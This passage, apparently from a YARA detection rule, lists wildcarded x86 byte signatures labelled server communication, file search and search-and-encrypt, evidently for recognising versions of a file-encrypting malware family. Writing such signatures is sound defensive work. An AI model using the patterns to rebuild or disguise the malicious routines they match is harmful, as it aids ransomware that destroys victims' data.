57 6A ?? 8D 54 24 ?? 6A ?? 52 E8 ?? ?? - ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F8 89 7C 24 ?? 33 F6 EB - 04 8B 7C 24 ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? - ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 51 8B 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D - ?? ?? ?? ?? 56 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 50 - A1 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 - ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 - ?? 50 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 04 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 - } - $server_communication_0_3_4a_2 = { - 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 FE ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 7D 23 8B 14 B5 ?? - ?? ?? ?? 6A ?? 52 57 FF D3 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8B F8 6A ?? 8D 44 24 ?? 50 EB 3C 8B 0C B5 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 51 57 FF D3 8B 14 B5 ?? ?? ?? ?? 52 8B F8 8B 04 B5 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - 6A ?? 6A ?? 6A ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 6A ?? 52 8B E8 - C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 55 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 85 C0 75 32 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 55 FF 15 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 18 55 8B 2D ?? ?? ?? ?? FF D5 57 FF D5 83 C6 ?? 83 FE ?? 0F 8C CE - FD FF FF 8B 44 24 ?? 50 FF 15 - } - $server_communication_0_3_5a_1 = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 68 ?? ?? ?? ?? 8D 44 - 24 ?? 6A ?? 50 C6 44 24 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? B8 ?? ?? ?? ?? 83 C4 ?? 8D 50 ?? 8B FF 8A 08 83 C0 ?? 84 C9 75 F7 2B C2 75 05 E8 ?? ?? ?? ?? 33 C0 50 50 50 50 - 68 ?? ?? ?? ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 33 DB 68 ?? ?? ?? ?? 8D 54 24 ?? 6A ?? - 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 - C4 ?? 51 8B 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 53 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? - ?? ?? ?? 51 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? - ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 24 ?? - 83 C4 ?? 8D 70 ?? 8B FF 8A 08 83 C0 ?? 84 C9 75 F7 8D 94 24 ?? ?? ?? ?? 2B C6 52 8D 7C 24 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? - 8D 8C 04 ?? ?? ?? ?? 8B F7 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 B8 ?? ?? ?? ?? E8 - } - $server_communication_0_3_5a_2 = { - 8B 14 9D ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 83 FB ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 7D 20 6A ?? 52 50 FF 15 ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 4C 24 ?? 8B F0 51 EB 39 68 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? 8B 0C 9D ?? - ?? ?? ?? 8B 14 9D ?? ?? ?? ?? 51 6A ?? 52 8B F0 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 44 24 ?? 50 - 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 8B F8 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 57 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 32 8D 54 - 24 ?? 52 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? - ?? 83 C4 ?? 85 C0 75 18 57 8B 3D ?? ?? ?? ?? FF D7 56 FF D7 83 C3 ?? 83 FB ?? 0F 8C CD FD FF FF 8B 54 24 ?? 52 FF 15 - } - $server_communication_2_0_4e = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 83 3D ?? ?? - ?? ?? ?? 53 56 57 75 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? A1 ?? - ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? B8 ?? ?? ?? - ?? 8D 50 ?? 33 DB 8A 08 40 3A CB 75 ?? 2B C2 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 8C 24 ?? ?? ?? ?? 53 51 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 68 - ?? ?? ?? ?? FF 15 - } - $search_and_encrypt_2_0_4e_1 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 56 - 57 33 C0 68 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 33 D2 68 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 66 89 95 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 53 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? - ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? - ?? 50 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? ?? ?? 83 FE ?? 0F 84 - } - $search_and_encrypt_2_0_4e_2 = { - 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? B8 ?? ?? - ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? - 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 - ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? - ?? ?? ?? 53 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 - } - $search_and_encrypt_2_0_4e_3 = { - 8B C3 83 C4 ?? 8D 50 ?? 90 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 83 F8 ?? 76 - ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D - ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? - ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 - ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 - } - $search_and_encrypt_2_0_4e_4 = { - 8D 8D ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? - 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 - 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? - 52 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? E9 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 - C4 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 - } - $search_and_encrypt_2_0_4e_5 = { - 8D 85 ?? ?? ?? ?? 83 C4 ?? 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 8D 95 ?? - ?? ?? ?? D1 F8 52 8D 78 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 57 56 E8 ?? ?? ?? ?? 8B 3D - ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D7 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 FF D7 83 - C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 FF D7 83 C4 ?? 85 C0 75 ?? 8B C6 E8 ?? ?? ?? ?? - 83 F8 ?? 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? - 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 56 FF 15 - } - $server_communication_4_0_1 = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 - } - $server_communication_4_0_2 = { - 8A 08 40 3A CB 75 ?? 2B ?? 50 8D ?? ?? ?? ?? ?? ?? [0-2] E8 ?? ?? ?? ?? 83 C4 04 8D - ?? 24 ?? ?? ?? ?? ?? (8B ??|8D ?? 24 ?? ?? ?? ??) ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? - C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 C4 08 8D ?? 01 [0-7] 8A 08 40 3A CB - 75 ?? 2B ?? 8B C8 8D 51 ?? 83 E2 ?? B8 ?? ?? ?? ?? 2B C2 50 50 8D 7C 01 ?? 8D 84 0C - ?? ?? ?? ?? 50 E8 - } - $server_communication_4_0_3 = { - 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? ?? [1-2] - 8D ?? 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? [0-3] 51 E8 ?? ?? ?? ?? - 8B 15 ?? ?? ?? ?? 83 C4 ?? 8B ?? 8B 42 ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 BA ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 83 C4 ?? 52 E8 ?? ?? ?? ?? 83 C4 - ?? 33 ?? 89 ?? 24 ?? 6A ?? 8D 44 24 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? B8 - ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 84 24 ?? - ?? ?? ?? 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? - ?? 53 52 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? 83 C4 ?? 8D 50 - } - $file_search_4_0_1 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 33 C0 68 - ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 68 ?? - ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 66 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? 6A ?? 51 E8 - } - $file_search_4_0_2 = { - 74 ?? FF 15 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 52 EB ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? - ?? ?? A1 ?? ?? ?? ?? 8B 48 ?? 51 8D 95 ?? ?? ?? ?? 52 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? - 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 8B F0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 64 A1 ?? ?? ?? ?? 3E 8B 40 ?? 89 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A - ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 FF D0 83 FF ?? 0F 85 ?? ?? ?? ?? 83 3D ?? ?? ?? - ?? ?? 74 ?? 8B 0D ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B 51 ?? 8D 85 ?? ?? ?? ?? 50 52 - 8D 85 ?? ?? ?? ?? 50 EB ?? 8B 15 ?? ?? ?? ?? 8B 42 ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? - ?? ?? 50 8D 8D - } - $file_search_4_0_3 = { - E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? - 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 6A ?? FF D0 85 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? - ?? ?? B8 ?? ?? ?? ?? 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 4D ?? 5F 33 - CD 33 C0 5E E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $file_search_4_1b_1 = { - E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 08 83 C4 ?? 68 ?? ?? - ?? ?? 8D 95 ?? ?? ?? ?? 52 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 - } - $file_search_4_1b_2 = { - E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 56 8B F8 FF 15 ?? ?? ?? ?? 83 FF ?? - 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 48 ?? 8D 95 ?? ?? ?? ?? 52 - 51 8D 95 ?? ?? ?? ?? 52 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B 3D ?? ?? - ?? ?? 8B 1D - } - $file_search_4_1b_3 = { - E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? 6A ?? 6A ?? 6A ?? B8 ?? ?? ?? - ?? 6A ?? 66 89 45 ?? 89 45 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? C7 45 ?? ?? ?? ?? ?? - FF D3 85 C0 74 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 - } - $server_communication_4_1b_1 = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 - } - $server_communication_4_1b_2 = { - E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 42 ?? 83 C4 ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 89 44 24 ?? 3B C3 75 ?? ?? ?? B8 ?? ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 68 ?? ?? ?? ?? 8D - ?? 24 ?? ?? ?? ?? 53 51 E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 0F - B6 ?? ?? ?? ?? ?? 83 C4 0C - } - $server_communication_4_1b_3 = { - 8A 08 ?? ?? ?? 75 ?? 2B C6 50 57 8D ?? 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 - 8B CF 51 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 C4 ?? 8D 78 ?? 8A 08 40 - 3A CB 75 ?? 2B C7 8B C8 8D 51 ?? 83 E2 ?? B8 ?? ?? ?? ?? 2B C2 50 50 8D 7C 01 ?? 8D - 84 0C ?? ?? ?? ?? 50 E8 - } - $server_communication_4_1b_4 = { - FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 3B C3 76 ?? 8B 94 24 - ?? ?? ?? ?? 50 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B - 84 24 ?? ?? ?? ?? 3B C3 76 ?? 8B 8C 24 ?? ?? ?? ?? 50 51 8D 94 24 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4C 24 ?? 53 53 6A ?? 53 53 6A ?? 8D 84 24 ?? - ?? ?? ?? 50 51 FF 15 ?? ?? ?? ?? 8B F0 89 74 24 ?? 3B F3 0F 84 ?? ?? ?? ?? 6A ?? 8D - 54 24 ?? 52 6A ?? 56 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 48 - ?? 8B 40 ?? 53 68 ?? ?? ?? ?? 51 53 53 8D 94 24 ?? ?? ?? ?? 52 50 56 FF 15 - } - $server_communication_4_1b_5 = { - FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 8C - 24 ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B 15 ?? ?? ?? ?? 88 9C 04 ?? ?? - ?? ?? 88 9C 04 ?? ?? ?? ?? 8B 42 ?? 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 75 ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 4C 24 ?? 51 FF D6 8B 7C 24 ?? 47 89 7C - 24 ?? 83 FF ?? 0F 8C ?? ?? ?? ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 6A ?? FF 15 - } - $file_search_4_2_1 = { - E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? 68 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? - FF 70 ?? 8D 85 ?? ?? ?? ?? 50 FF D3 83 C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A - ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 56 8B F8 FF 15 - } - $file_search_4_2_2 = { - FF D3 8B 35 ?? ?? ?? ?? 83 C4 ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 6A ?? 8D 85 ?? - ?? ?? ?? 50 68 ?? ?? ?? ?? FF D6 6A ?? 8D 85 ?? ?? ?? ?? 50 FF D7 6A ?? 8D 45 ?? 6A - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - 66 89 45 ?? 89 45 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 51 - 6A ?? FF D3 - } - $server_communication_4_2_1 = { - FF 15 ?? ?? ?? ?? 8B F0 0F 57 C0 8D 84 24 ?? ?? ?? ?? 66 0F 7F 84 24 ?? ?? ?? ?? 50 - 8D 84 24 ?? ?? ?? ?? 8B D6 50 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 8B CE E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 56 A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 56 FF 15 - } - $server_communication_4_2_2 = { - FF D7 8B 0D ?? ?? ?? ?? 8B D0 8B 49 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? - ?? 8D 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? - 50 FF D7 - } - $server_communication_4_2_3 = { - 6A ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 6A ?? 56 FF 54 24 ?? 8B 0D ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 8D 41 ?? 50 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 71 - ?? 56 FF 54 24 - } - $server_communication_4_2_4 = { - FF 54 24 ?? 8B 44 24 ?? 66 C7 84 04 ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? FF 70 ?? 8D 84 - 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 57 8B 7C 24 ?? FF D7 56 FF - D7 - } - $server_communication_4_2_5 = { - 57 8B 7C 24 ?? FF D7 56 FF D7 FF 74 24 ?? FF D7 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 6A ?? FF 15 - } - $server_communication_3_1 = { - 8A 08 40 3A CB 75 ?? 2B C7 50 8D 94 24 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 8D - 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? - ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 C4 ?? 8D ?? ?? EB - } - $server_communication_3_2 = { - 68 ?? ?? ?? ?? 88 9C 04 ?? ?? ?? ?? 51 88 9C 04 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 - ?? 85 C0 75 ?? 57 8B 3D ?? ?? ?? ?? FF D7 56 FF D7 8B 7C 24 ?? 83 C7 ?? 89 7C 24 ?? - 81 FF ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 39 1D ?? ?? ?? - ?? 75 ?? 8B 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 15 - } - $file_search_3_1 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? [0-1] 56 57 33 C0 - 68 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 66 89 85 ?? ?? ?? ?? E8 - } - $file_search_3_1_1 = { - FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 EB ?? - FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 56 8B F8 FF 15 - } - $file_search_3_1_2 = { - 8B 35 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? FF D6 6A ?? 8D 8D ?? ?? ?? ?? 51 FF D7 6A ?? 8D 95 ?? ?? ?? ?? - 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 